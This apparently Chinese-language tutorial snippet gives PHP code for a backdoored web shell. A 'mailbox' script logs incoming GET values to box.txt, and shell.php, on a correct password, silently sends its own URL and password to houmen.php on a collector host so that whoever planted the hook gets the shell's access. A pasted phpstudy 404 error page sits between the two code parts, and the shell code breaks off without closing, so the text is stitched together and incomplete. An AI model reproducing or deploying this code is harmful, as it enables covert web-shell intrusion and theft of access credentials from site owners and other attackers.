使用户登录时候发送链接到后台服务器即可。简单逻辑代码实现如下:
一、收信箱子
<?php
if(empty($_GET))
{
}else{
$name = $_GET["name"];
$name = $name."\r\n";
$stream = fopen("box.txt", "a");
fwrite($stream, $name);
fclose($stream);
}
?>
404 错误 - phpstudy
404 - Page Not Found 未找到
- 错误说明:请求的页面不存在
- 原因1:访问的文档权限不够
- 解决办法:
- 修改文件权限为755,windos系统修改目录权限为可写可读。
- 原因2:防火墙的原因
- 解决办法:
- 先关闭让防火墙通过WWW服务。
- 原因3:站点根目录无默认访问文件
- 解决办法:
- 在根目录中创建index.html或者创建index.php。
- 原因4:站点配置目录不正确
- 解决办法:
- 将网站应用程序复制到站点目录中,或者修改站点配置目录指定到应用程序目录中。
- 原因5:站点使用了伪静态
- 解决办法:
- 将伪静态规则删除,或者重新编写正确的伪静态规则,或关闭伪静态配置。
二、shell.php简单实现如下
<?php
header("Content-Type:text/html;charset=utf8");
$password = "admin";
if(empty($_POST)){
echo '';
}else{
$pass = $_POST["pass"];
if($pass == $password)
{
echo "欢迎Admin
";
$url = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"];
$pass = $pass;
$putUrl= "http://127.0.0.1/houmen.php?name=".$url."?pass=".$pass;
#var_dump($putUrl);
//var_dump($_SERVER);
//发送httpget请求
#echo $putUrl;
file_get_contents($putUrl);
}else{
unset($_POST);
echo "密码错误";
}
}